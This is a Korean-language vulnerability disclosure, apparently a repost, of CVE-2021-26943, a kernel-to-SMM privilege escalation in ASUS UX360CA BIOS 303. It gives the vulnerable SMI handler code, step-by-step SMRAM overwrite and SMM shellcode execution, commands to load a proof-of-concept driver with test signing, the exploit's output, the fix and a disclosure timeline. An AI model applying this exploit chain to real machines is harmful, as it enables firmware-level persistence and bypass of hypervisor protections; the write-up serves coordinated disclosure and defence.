SmmExploit

이 문서는 ASUS UX360CA BIOS 버전 303의 커널에서 SMM으로의 로컬 권한 상승 취약점인 CVE-2021-26943에 대한 보고서이자 익스플로잇입니다. 이 문제는 버전 304에서 수정되었습니다.

문제 설명

요약

UX360CA BIOS 버전 303에는 ring0 권한을 가진 공격자가 SMRAM을 포함한 거의 임의의 물리 메모리를 덮어쓰고 SMM에서 임의 코드를 실행할 수 있게 하는 3개의 취약한 모듈이 있습니다.

해당 모듈은 다음과 같이 식별할 수 있습니다:

해당 모듈은 AMI(BIOS 공급업체)의 것이며 다른 OEM의 BIOS에도 존재할 수 있습니다.

취약점

취약한 모듈과 해당 SMI는 UsbRt(0x31), SdioSmm(0x40), NvmeSmm(0x42)입니다. 이 모든 SMI 핸들러는 물리 메모리 주소 0x40E를 읽어 작업할 주소를 얻고, 오류가 발생하면 그 주소가 SMRAM이더라도 해당 주소에 1바이트를 씁니다.

예를 들어, SdioSmm의 SMI 핸들러는 다음과 같습니다:

EFI_STATUS
EFIAPI
SdioSmm_SwSmi_40h(
  EFI_HANDLE  DispatchHandle,
  CONST VOID  *Context,
  VOID        *CommBuffer,
  UINTN       *CommBufferSize
  )
{
  // ...
  struct_v0 *userControlled = *(0x10 * MEMORY[0x40E] + 0x104);
  if ( EFI_ERROR(ValidateBufferIsOutsideSmram(userControlled, sizeof(struct_v0)))
    || userControlled->Offset0_FunctionCode >= 4 )
  {
    userControlled->Offset2 = 7;
  }
  else
  {
    // ...
  }
  return EFI_SUCCESS;
}

이 문제는 Aptiocalypsis로 훌륭하게 설명된 INTEL-SA-00057과 동일한 것으로 보입니다. 그러나 UX360CA용 BIOS 버전 303에는 이에 대한 수정 사항이 포함되어 있지 않습니다.

익스플로잇

이를 통해 물리 메모리에 대한 쓰기 액세스 권한과 OUT 명령어(즉, ring0 권한)를 가진 공격자는 다음 단계로 SMRAM의 내용을 덮어쓸 수 있습니다:

1. 물리 주소 0x40e가 0인지 확인합니다(대부분 이미 0일 것입니다).
2. 물리 주소 0x104에 SMRAM의 주소(예: 0x88400000)를 씁니다.
3. SMI 0x40을 발생시킵니다.
4. 0x88400000+2가 0x7로 업데이트됩니다.

이를 사용하여 다음과 같이 SMM에서 임의 코드 실행을 달성할 수 있습니다:

1. 아래 단계를 통해 SMRAM에서 SMST(System Management Service Table)의 주소를 찾습니다:
   1. HKLM\HARDWARE\RESOURCEMAP\System Resources\Loader Reserved의 .Raw 값 내용에서 UEFI 런타임 코드의 물리 주소 범위를 얻습니다.
   2. 주소 범위에서 'smmc' 시그니처를 스캔하여 SMM_CORE_PRIVATE_DATA의 주소를 찾습니다.
   3. SMM_CORE_PRIVATE_DATA는 오프셋 30h에 SMST에 대한 포인터를 가지고 있습니다.
2. 위의 쓰기 프리미티브를 사용하여 SMST의 오프셋 d0h에 있는 SmmLocateProtocol 함수에 대한 포인터를 덮어씁니다. 값은 0x07070707로 업데이트됩니다.
3. 물리 메모리 0x07070707에 셸코드를 씁니다.
4. SMI 0xdf와 같이 Smst->SmmLocateProtocol을 호출하는 다른 SMI를 트리거합니다. 0x07070707에 있는 셸코드가 SMM에서 실행됩니다.

SMM에서의 임의 코드 실행을 통해 공격자는 다른 SMM 취약점 보고서에서 입증된 것처럼 HVCI와 같은 커널 및 하이퍼바이저의 보안 조치를 우회하고 SPI 플래시(BIOS)의 내용을 업데이트하여 지속성을 확립할 수 있습니다.

개념 증명 (PoC)

첨부된 데모 프로젝트는 성공적인 익스플로잇을 시연하고 SMM에서만 접근할 수 있는 MSR의 내용과 EPTP의 물리 주소를 덤프합니다. 또한 Hyper-V 하이퍼바이저의 CPUID VM-Exit 처리 코드를 수정하여 변경된 하이퍼바이저 공급업체 문자열을 반환하도록 합니다.

PoC는 HVCI를 활성화한 상태와 비활성화한 상태 모두에서 Windows 빌드 18362.1256에서 테스트되었습니다.

성공적인 익스플로잇의 녹화 영상은 YouTube에서 볼 수 있습니다.

테스트 지침

1. Visual Studio 2019에서 demo.sln을 엽니다.
2. 디버그 또는 릴리스 빌드로 솔루션을 빌드합니다.
3. 컴파일된 demo.sys를 대상 시스템에 복사합니다(예: C:\users\user\desktop\demo.sys).

대상 시스템에서,

1. BIOS에서 Secure Boot를 비활성화하고 재부팅합니다.
2. 테스트 서명 모드를 활성화하고 재부팅합니다.
   root@kitploit:~

   > bcdedit /set testsigning on
   

3. demo.sys를 로드할 서비스를 생성합니다.
   root@kitploit:~

   > sc create demo type= kernel binPath= C:\users\user\desktop\demo.sys
   

4. DebugView를 시작하고 "Capture" 메뉴에서 "Capture Kernel"을 활성화합니다.
5. 데모를 시작합니다.
   root@kitploit:~

   > sc start demo
   

6. 성공하면 DebugView에 SMM 관련 MSR 값이 표시됩니다.
   root@kitploit:~

   [+] ReportSmramRange: TSEG implied SMRAM: 0x88400000 - 0x88800000
   [-] ReportSmramRange: Exception occurred while accessing SMRR MSR : c0000096
   [+] FindSystemManagementServiceTable: SMM core found at 0x87f1b390 in RT Code
   [+] FindSystemManagementServiceTable: SMST found at 0x887fa710 in SMRAM
   [+] ExploitSmm: Patched SMST->SmmLocateProtocol in SMRAM
   [+] ExploitSmm: Placed SMM shell code
   [+] ExploitSmm: Triggered SMM exploit
   [+] DumpSmmExploitOuput: IA32_SMBASE             = 0x887cd000
   [+] DumpSmmExploitOuput: MSR_SMM_FEATURE_CONTROL = 0x1
   [+] DumpSmmExploitOuput: MSR_SMM_MCA_CAP         = 0xc00000000000000
   [+] DumpSmmExploitOuput: EPT pointer             = 0x10a72001e
   [+] DumpSmmExploitOuput: Patched Hv address      = 0x1004382f0
   [+] ExploitSmm: Successfully executed shell code in SMM. Failing DriverEntry to unload itself
   DriverEntry failed 0xc0000120 for driver \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\demo
   

해결 방안

수정 사항은 아래와 같이 사용자 제어 콘텐츠가 SMRAM 내부를 가리킬 때 이를 전혀 사용하지 않는 것입니다.

{
  // ...
  struct_v0 *userControlled = *(0x10 * MEMORY[0x40E] + 0x104);
  if (!EFI_ERROR(ValidateBufferIsOutsideSmram(userControlled, sizeof(struct_v0))))
  {
    if (userControlled->Offset0_FunctionCode < 7 )
    {
      // ...
    }
    else
    {
      userControlled->Offset2 = 7;
    }
  }
  return EFI_SUCCESS;
}

고려 사항

하이퍼바이저에 대한 보호 부재

이 수정 사항은 현재 업계 모범 사례를 완벽하게 따르며 SMRAM 손상을 초래하는 confused deputy 공격을 방지합니다.

그러나 하이퍼바이저 메모리 영역은 고려하지 않는다는 점에 유의하십시오. 하이퍼바이저가 로드되거나 사용하는 물리 메모리 주소를 아는 공격자는 여전히 SMI를 요청하여 하이퍼바이저 코드 또는 데이터를 덮어쓰고 하이퍼바이저 손상을 달성할 수 있습니다.

이것은 널리 퍼져 있고 오랫동안 존재해 온 설계 수준의 문제이기도 합니다.

심층 방어 부족

보고된 문제는 해결되었지만, 심층 방어 전략을 실행하는 측면에서는 몇 가지 문제가 있었습니다.

예를 들어, SMM 페이지 테이블은 읽기, 쓰기, 실행 권한이 모두 허용된 identity-mapping 방식이며 SMM_Code_Chk_En 기능을 사용할 수 없었습니다. 이로 인해 익스플로잇이 매우 간단해졌습니다. 또한 EDK2에서 볼 수 있듯이 SMM 통신 버퍼가 SmmIsBufferOutsideSmmValid()로 검증되지 않는 것도 확인했지만, 악용 가능한 SMI를 찾지는 못했습니다.

이러한 문제는 OEM 전반과 많은 BIOS 버전에서 공통적으로 나타나는 문제라고 생각합니다. 어떤 OEM의 구형 모델을 사용 중이라면 최신 BIOS 버전에서도 그 BIOS가 기대만큼 안전하지 않을 가능성이 높다는 점을 지적합니다.

개선 사항

이러한 문제가 아주 가까운 시일 내에 사라지지는 않겠지만, 업계에서 SMM 권한을 축소하는 방식의 아키텍처 수준 해결 방안을 모색하고 있다는 점이 반갑습니다. 확인할 수 있는 작업과 문서는 다음과 같습니다:

• Platform Runtime Mechanism (PRM)
  • 프레젠테이션 (Open-Source Firmware Conference 2020)
  • 사양 (uefi.org)
  • 구현 (edk2-staging)
• System Management Mode 심층 분석: SMM 격리가 플랫폼을 강화하는 방법
• System Guard의 시스템 요구 사항

타임라인

주요 일정은 다음과 같습니다.

• 2020-12-31 - 취약점을 보고했습니다.
• 2021-01-05 - ASUS가 보고를 확인했습니다.
• 2021-01-18 - ASUS가 테스트용 수정 BIOS 버전을 보내왔습니다.
• 2021-01-20 - 수정 사항을 확인하고 회신했습니다.
• 2021-01-25 - ASUS가 회신을 확인했습니다.
• 2021-03-21 - ASUS가 수정 사항인 버전 304를 공개했습니다.
• 2021-03-29 - ASUS가 CVE-2021-26943에 대한 보안 공지를 발표했습니다.

마지막으로, 긴밀하고 투명한 커뮤니케이션을 유지해 준 ASUS 팀에 큰 감사를 전합니다❤ 전체 과정은 빠르지는 않았지만 불편함이 거의 없었습니다.